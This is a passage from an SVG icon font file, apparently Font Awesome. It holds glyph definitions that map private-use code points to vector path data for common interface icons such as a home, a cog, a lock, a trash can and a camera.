-45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 704v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19 t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1920 1248v-1344q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1344q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
<glyph unicode="&#xf009;" horiz-adv-x="1664" d="M768 512v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM768 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 512v-384q0 -52 -38 -90t-90 -38 h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
<glyph unicode="&#xf00a;" horiz-adv-x="1792" d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 288v-192q0 -40 -28 -68t-68 -28h-320 q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28 h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192 q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68z" />
<glyph unicode="&#xf00b;" horiz-adv-x="1792" d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-960 q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28 h960q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68z" />
<glyph unicode="&#xf00c;" horiz-adv-x="1792" d="M1671 970q0 -40 -28 -68l-724 -724l-136 -136q-28 -28 -68 -28t-68 28l-136 136l-362 362q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -295l656 657q28 28 68 28t68 -28l136 -136q28 -28 28 -68z" />
<glyph unicode="&#xf00d;" horiz-adv-x="1408" d="M1298 214q0 -40 -28 -68l-136 -136q-28 -28 -68 -28t-68 28l-294 294l-294 -294q-28 -28 -68 -28t-68 28l-136 136q-28 28 -28 68t28 68l294 294l-294 294q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -294l294 294q28 28 68 28t68 -28l136 -136q28 -28 28 -68 t-28 -68l-294 -294l294 -294q28 -28 28 -68z" />
<glyph unicode="&#xf00e;" horiz-adv-x="1664" d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-224q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v224h-224q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h224v224q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5v-224h224 q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5 t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
<glyph unicode="&#xf010;" horiz-adv-x="1664" d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-576q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h576q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5z M1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z " />
<glyph unicode="&#xf011;" d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61t-298 61t-245 164t-164 245t-61 298q0 182 80.5 343t226.5 270q43 32 95.5 25t83.5 -50q32 -42 24.5 -94.5t-49.5 -84.5q-98 -74 -151.5 -181t-53.5 -228q0 -104 40.5 -198.5t109.5 -163.5t163.5 -109.5 t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5q0 121 -53.5 228t-151.5 181q-42 32 -49.5 84.5t24.5 94.5q31 43 84 50t95 -25q146 -109 226.5 -270t80.5 -343zM896 1408v-640q0 -52 -38 -90t-90 -38t-90 38t-38 90v640q0 52 38 90t90 38t90 -38t38 -90z" />
<glyph unicode="&#xf012;" horiz-adv-x="1792" d="M256 96v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 224v-320q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 480v-576q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23 v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1408 864v-960q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1376v-1472q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1472q0 14 9 23t23 9h192q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf013;" d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1536 749v-222q0 -12 -8 -23t-20 -13l-185 -28q-19 -54 -39 -91q35 -50 107 -138q10 -12 10 -25t-9 -23q-27 -37 -99 -108t-94 -71q-12 0 -26 9l-138 108q-44 -23 -91 -38 q-16 -136 -29 -186q-7 -28 -36 -28h-222q-14 0 -24.5 8.5t-11.5 21.5l-28 184q-49 16 -90 37l-141 -107q-10 -9 -25 -9q-14 0 -25 11q-126 114 -165 168q-7 10 -7 23q0 12 8 23q15 21 51 66.5t54 70.5q-27 50 -41 99l-183 27q-13 2 -21 12.5t-8 23.5v222q0 12 8 23t19 13 l186 28q14 46 39 92q-40 57 -107 138q-10 12 -10 24q0 10 9 23q26 36 98.5 107.5t94.5 71.5q13 0 26 -10l138 -107q44 23 91 38q16 136 29 186q7 28 36 28h222q14 0 24.5 -8.5t11.5 -21.5l28 -184q49 -16 90 -37l142 107q9 9 24 9q13 0 25 -10q129 -119 165 -170q7 -8 7 -22 q0 -12 -8 -23q-15 -21 -51 -66.5t-54 -70.5q26 -50 41 -98l183 -28q13 -2 21 -12.5t8 -23.5z" />
<glyph unicode="&#xf014;" horiz-adv-x="1408" d="M512 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM768 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1024 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576 q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1152 76v948h-896v-948q0 -22 7 -40.5t14.5 -27t10.5 -8.5h832q3 0 10.5 8.5t14.5 27t7 40.5zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832 q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf015;" horiz-adv-x="1664" d="M1408 544v-480q0 -26 -19 -45t-45 -19h-384v384h-256v-384h-384q-26 0 -45 19t-19 45v480q0 1 0.5 3t0.5 3l575 474l575 -474q1 -2 1 -6zM1631 613l-62 -74q-8 -9 -21 -11h-3q-13 0 -21 7l-692 577l-692 -577q-12 -8 -24 -7q-13 2 -21 11l-62 74q-8 10 -7 23.5t11 21.5 l719 599q32 26 76 26t76 -26l244 -204v195q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-408l219 -182q10 -8 11 -21.5t-7 -23.5z" />
<glyph unicode="&#xf016;" d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z " />
<glyph unicode="&#xf017;" d="M896 992v-448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf018;" horiz-adv-x="1920" d="M1111 540v4l-24 320q-1 13 -11 22.5t-23 9.5h-186q-13 0 -23 -9.5t-11 -22.5l-24 -320v-4q-1 -12 8 -20t21 -8h244q12 0 21 8t8 20zM1870 73q0 -73 -46 -73h-704q13 0 22 9.5t8 22.5l-20 256q-1 13 -11 22.5t-23 9.5h-272q-13 0 -23 -9.5t-11 -22.5l-20 -256 q-1 -13 8 -22.5t22 -9.5h-704q-46 0 -46 73q0 54 26 116l417 1044q8 19 26 33t38 14h339q-13 0 -23 -9.5t-11 -22.5l-15 -192q-1 -14 8 -23t22 -9h166q13 0 22 9t8 23l-15 192q-1 13 -11 22.5t-23 9.5h339q20 0 38 -14t26 -33l417 -1044q26 -62 26 -116z" />
<glyph unicode="&#xf019;" horiz-adv-x="1664" d="M1280 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 416v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h465l135 -136 q58 -56 136 -56t136 56l136 136h464q40 0 68 -28t28 -68zM1339 985q17 -41 -14 -70l-448 -448q-18 -19 -45 -19t-45 19l-448 448q-31 29 -14 70q17 39 59 39h256v448q0 26 19 45t45 19h256q26 0 45 -19t19 -45v-448h256q42 0 59 -39z" />
<glyph unicode="&#xf01a;" d="M1120 608q0 -12 -10 -24l-319 -319q-11 -9 -23 -9t-23 9l-320 320q-15 16 -7 35q8 20 30 20h192v352q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-352h192q14 0 23 -9t9 -23zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273 t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf01b;" d="M1118 660q-8 -20 -30 -20h-192v-352q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v352h-192q-14 0 -23 9t-9 23q0 12 10 24l319 319q11 9 23 9t23 -9l320 -320q15 -16 7 -35zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198 t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf01c;" d="M1023 576h316q-1 3 -2.5 8t-2.5 8l-212 496h-708l-212 -496q-1 -2 -2.5 -8t-2.5 -8h316l95 -192h320zM1536 546v-482q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v482q0 62 25 123l238 552q10 25 36.5 42t52.5 17h832q26 0 52.5 -17t36.5 -42l238 -552 q25 -61 25 -123z" />
<glyph unicode="&#xf01d;" d="M1184 640q0 -37 -32 -55l-544 -320q-15 -9 -32 -9q-16 0 -32 8q-32 19 -32 56v640q0 37 32 56q33 18 64 -1l544 -320q32 -18 32 -55zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf01e;" d="M1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l138 138q-148 137 -349 137q-104 0 -198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5q119 0 225 52t179 147q7 10 23 12q14 0 25 -9 l137 -138q9 -8 9.5 -20.5t-7.5 -22.5q-109 -132 -264 -204.5t-327 -72.5q-156 0 -298 61t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q147 0 284.5 -55.5t244.5 -156.5l130 129q29 31 70 14q39 -17 39 -59z" />
<glyph unicode="&#xf021;" d="M1511 480q0 -5 -1 -7q-64 -268 -268 -434.5t-478 -166.5q-146 0 -282.5 55t-243.5 157l-129 -129q-19 -19 -45 -19t-45 19t-19 45v448q0 26 19 45t45 19h448q26 0 45 -19t19 -45t-19 -45l-137 -137q71 -66 161 -102t187 -36q134 0 250 65t186 179q11 17 53 117 q8 23 30 23h192q13 0 22.5 -9.5t9.5 -22.5zM1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-26 0 -45 19t-19 45t19 45l138 138q-148 137 -349 137q-134 0 -250 -65t-186 -179q-11 -17 -53 -117q-8 -23 -30 -23h-199q-13 0 -22.5 9.5t-9.5 22.5v7q65 268 270 434.5t480 166.5 q146 0 284 -55.5t245 -156.5l130 129q19 19 45 19t45 -19t19 -45z" />
<glyph unicode="&#xf022;" horiz-adv-x="1792" d="M384 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z M384 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1536 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5z M1536 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5zM1536 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5 t9.5 -22.5zM1664 160v832q0 13 -9.5 22.5t-22.5 9.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 1248v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47 t47 -113z" />
<glyph unicode="&#xf023;" horiz-adv-x="1152" d="M320 768h512v192q0 106 -75 181t-181 75t-181 -75t-75 -181v-192zM1152 672v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v192q0 184 132 316t316 132t316 -132t132 -316v-192h32q40 0 68 -28t28 -68z" />
<glyph unicode="&#xf024;" horiz-adv-x="1792" d="M320 1280q0 -72 -64 -110v-1266q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v1266q-64 38 -64 110q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -25 -12.5 -38.5t-39.5 -27.5q-215 -116 -369 -116q-61 0 -123.5 22t-108.5 48 t-115.5 48t-142.5 22q-192 0 -464 -146q-17 -9 -33 -9q-26 0 -45 19t-19 45v742q0 32 31 55q21 14 79 43q236 120 421 120q107 0 200 -29t219 -88q38 -19 88 -19q54 0 117.5 21t110 47t88 47t54.5 21q26 0 45 -19t19 -45z" />
<glyph unicode="&#xf025;" horiz-adv-x="1664" d="M1664 650q0 -166 -60 -314l-20 -49l-185 -33q-22 -83 -90.5 -136.5t-156.5 -53.5v-32q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-32q71 0 130 -35.5t93 -95.5l68 12q29 95 29 193q0 148 -88 279t-236.5 209t-315.5 78 t-315.5 -78t-236.5 -209t-88 -279q0 -98 29 -193l68 -12q34 60 93 95.5t130 35.5v32q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v32q-88 0 -156.5 53.5t-90.5 136.5l-185 33l-20 49q-60 148 -60 314q0 151 67 291t179 242.5 t266 163.5t320 61t320 -61t266 -163.5t179 -242.5t67 -291z" />
<glyph unicode="&#xf026;" horiz-adv-x="768" d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45z" />
<glyph unicode="&#xf027;" horiz-adv-x="1152" d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 35.5 t12 57t-12 57t-29 35.5t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142z" />
<glyph unicode="&#xf028;" horiz-adv-x="1664" d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 35.5 t12 57t-12 57t-29 35.5t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142zM1408 640q0 -153 -85 -282.5t-225 -188.5q-13 -5 -25 -5q-27 0 -46 19t-19 45q0 39 39 59q56 29 76 44q74 54 115.5 135.5t41.5 173.5t-41.5 173.5 t-115.5 135.5q-20 15 -76 44q-39 20 -39 59q0 26 19 45t45 19q13 0 26 -5q140 -59 225 -188.5t85 -282.5zM1664 640q0 -230 -127 -422.5t-338 -283.5q-13 -5 -26 -5q-26 0 -45 19t-19 45q0 36 39 59q7 4 22.5 10.5t22.5 10.5q46 25 82 51q123 91 192 227t69 289t-69 289 t-192 227q-36 26 -82 51q-7 4 -22.5 10.5t-22.5 10.5q-39 23 -39 59q0 26 19 45t45 19q13 0 26 -5q211 -91 338 -283.5t127 -422.5z" />
<glyph unicode="&#xf029;" horiz-adv-x="1408" d="M384 384v-128h-128v128h128zM384 1152v-128h-128v128h128zM1152 1152v-128h-128v128h128zM128 129h384v383h-384v-383zM128 896h384v384h-384v-384zM896 896h384v384h-384v-384zM640 640v-640h-640v640h640zM1152 128v-128h-128v128h128zM1408 128v-128h-128v128h128z M1408 640v-384h-384v128h-128v-384h-128v640h384v-128h128v128h128zM640 1408v-640h-640v640h640zM1408 1408v-640h-640v640h640z" />
<glyph unicode="&#xf02a;" horiz-adv-x="1792" d="M63 0h-63v1408h63v-1408zM126 1h-32v1407h32v-1407zM220 1h-31v1407h31v-1407zM377 1h-31v1407h31v-1407zM534 1h-62v1407h62v-1407zM660 1h-31v1407h31v-1407zM723 1h-31v1407h31v-1407zM786 1h-31v1407h31v-1407zM943 1h-63v1407h63v-1407zM1100 1h-63v1407h63v-1407z M1226 1h-63v1407h63v-1407zM1352 1h-63v1407h63v-1407zM1446 1h-63v1407h63v-1407zM1635 1h-94v1407h94v-1407zM1698 1h-32v1407h32v-1407zM1792 0h-63v1408h63v-1408z" />
<glyph unicode="&#xf02b;" d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5 l715 -714q37 -39 37 -91z" />
<glyph unicode="&#xf02c;" horiz-adv-x="1920" d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5 l715 -714q37 -39 37 -91zM1899 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-36 0 -59 14t-53 45l470 470q37 37 37 90q0 52 -37 91l-715 714q-38 38 -102 64.5t-117 26.5h224q53 0 117 -26.5t102 -64.5l715 -714q37 -39 37 -91z" />
<glyph unicode="&#xf02d;" horiz-adv-x="1664" d="M1639 1058q40 -57 18 -129l-275 -906q-19 -64 -76.5 -107.5t-122.5 -43.5h-923q-77 0 -148.5 53.5t-99.5 131.5q-24 67 -2 127q0 4 3 27t4 37q1 8 -3 21.5t-3 19.5q2 11 8 21t16.5 23.5t16.5 23.5q23 38 45 91.5t30 91.5q3 10 0.5 30t-0.5 28q3 11 17 28t17 23 q21 36 42 92t25 90q1 9 -2.5 32t0.5 28q4 13 22 30.5t22 22.5q19 26 42.5 84.5t27.5 96.5q1 8 -3 25.5t-2 26.5q2 8 9 18t18 23t17 21q8 12 16.5 30.5t15 35t16 36t19.5 32t26.5 23.5t36 11.5t47.5 -5.5l-1 -3q38 9 51 9h761q74 0 114 -56t18 -130l-274 -906 q-36 -119 -71.5 -153.5t-128.5 -34.5h-869q-27 0 -38 -15q-11 -16 -1 -43q24 -70 144 -70h923q29 0 56 15.5t35 41.5l300 987q7 22 5 57q38 -15 59 -43zM575 1056q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5 t-16.5 -22.5zM492 800q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5t-16.5 -22.5z" />
<glyph unicode="&#xf02e;" horiz-adv-x="1280" d="M1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
<glyph unicode="&#xf02f;" horiz-adv-x="1664" d="M384 0h896v256h-896v-256zM384 640h896v384h-160q-40 0 -68 28t-28 68v160h-640v-640zM1536 576q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 576v-416q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-160q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68 v160h-224q-13 0 -22.5 9.5t-9.5 22.5v416q0 79 56.5 135.5t135.5 56.5h64v544q0 40 28 68t68 28h672q40 0 88 -20t76 -48l152 -152q28 -28 48 -76t20 -88v-256h64q79 0 135.5 -56.5t56.5 -135.5z" />
<glyph unicode="&#xf030;" horiz-adv-x="1920" d="M960 864q119 0 203.5 -84.5t84.5 -203.5t-84.5 -203.5t-203.5 -84.5t-203.5 84.5t-84.5 203.5t84.5 203.5t203.5 84.5zM1664 1280q106 0 181 -75t75 -181v-896q0 -106 -75 -181t-181 -75h-1408q-106 0 -181 75t-75 181v896q0 106 75 181t181 75h224l51 136 q19 49 69.5 84.5t103.5 35.5h512q53 0 103.5 -35.5t69.5 -84.5l51 -136h224zM960 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
<glyph unicode="&#xf031;" horiz-adv-x="1664" d="M725 977l-170 -450q33 0 136.5 -2t160.5 -2q19 0 57 2q-87 253 -184 452zM0 -128l2 79q23 7 56 12.5t57 10.5t49.5 14.5t44.5 29t31 50.5l237 616l280 724h75h53q8 -14 11 -21l205 -480q33 -78 106 -257.5t114 -274.5q15 -34 58 -144.5t72 -168.5q20 -45 35 -57 q19 -15 88 -29.5t84 -20.5q6 -38 6 -57q0 -4 -0.5 -13t-0.5 -13q-63 0 -190 8t-191 8q-76 0 -215 -7t-178 -8q0 43 4 78l131 28q1 0 12.5 2.5t15.5 3.5t14.5 4.5t15 6.5t11 8t9 11t2.5 14q0 16 -31 96.5t-72 177.5t-42 100l-450 2q-26 -58 -76.5 -195.5t-50.5 -162.5 q0 -22 14 -37.5t43.5 -24.5t48.5 -13.5t57 -8.5t41 -4q1 -19 1 -58q0 -9 -2 -27q-58 0 -174.5 10t-174.5 10q-8 0 -26.5 -4t-21.5 -4q-80 -14 -188 -14z" />
<glyph unicode="&#xf032;" horiz-adv-x="1408" d="M555 15q74 -32 140 -32q376 0 376 335q0 114 -41 180q-27 44 -61.5 74t-67.5 46.5t-80.5 25t-84 10.5t-94.5 2q-73 0 -101 -10q0 -53 -0.5 -159t-0.5 -158q0 -8 -1 -67.5t-0.5 -96.5t4.5 -83.5t12 -66.5zM541 761q42 -7 109 -7q82 0 143 13t110 44.5t74.5 89.5t25.5 142 q0 70 -29 122.5t-79 82t-108 43.5t-124 14q-50 0 -130 -13q0 -50 4 -151t4 -152q0 -27 -0.5 -80t-0.5 -79q0 -46 1 -69zM0 -128l2 94q15 4 85 16t106 27q7 12 12.5 27t8.5 33.5t5.5 32.5t3 37.5t0.5 34v35.5v30q0 982 -22 1025q-4 8 -22 14.5t-44.5 11t-49.5 7t-48.5 4.5 t-30.5 3l-4 83q98 2 340 11.5t373 9.5q23 0 68.5 -0.5t67.5 -0.5q70 0 136.5 -13t128.5 -42t108 -71t74 -104.5t28 -137.5q0 -52 -16.5 -95.5t-39 -72t-64.5 -57.5t-73 -45t-84 -40q154 -35 256.5 -134t102.5 -248q0 -100 -35 -179.5t-93.5 -130.5t-138 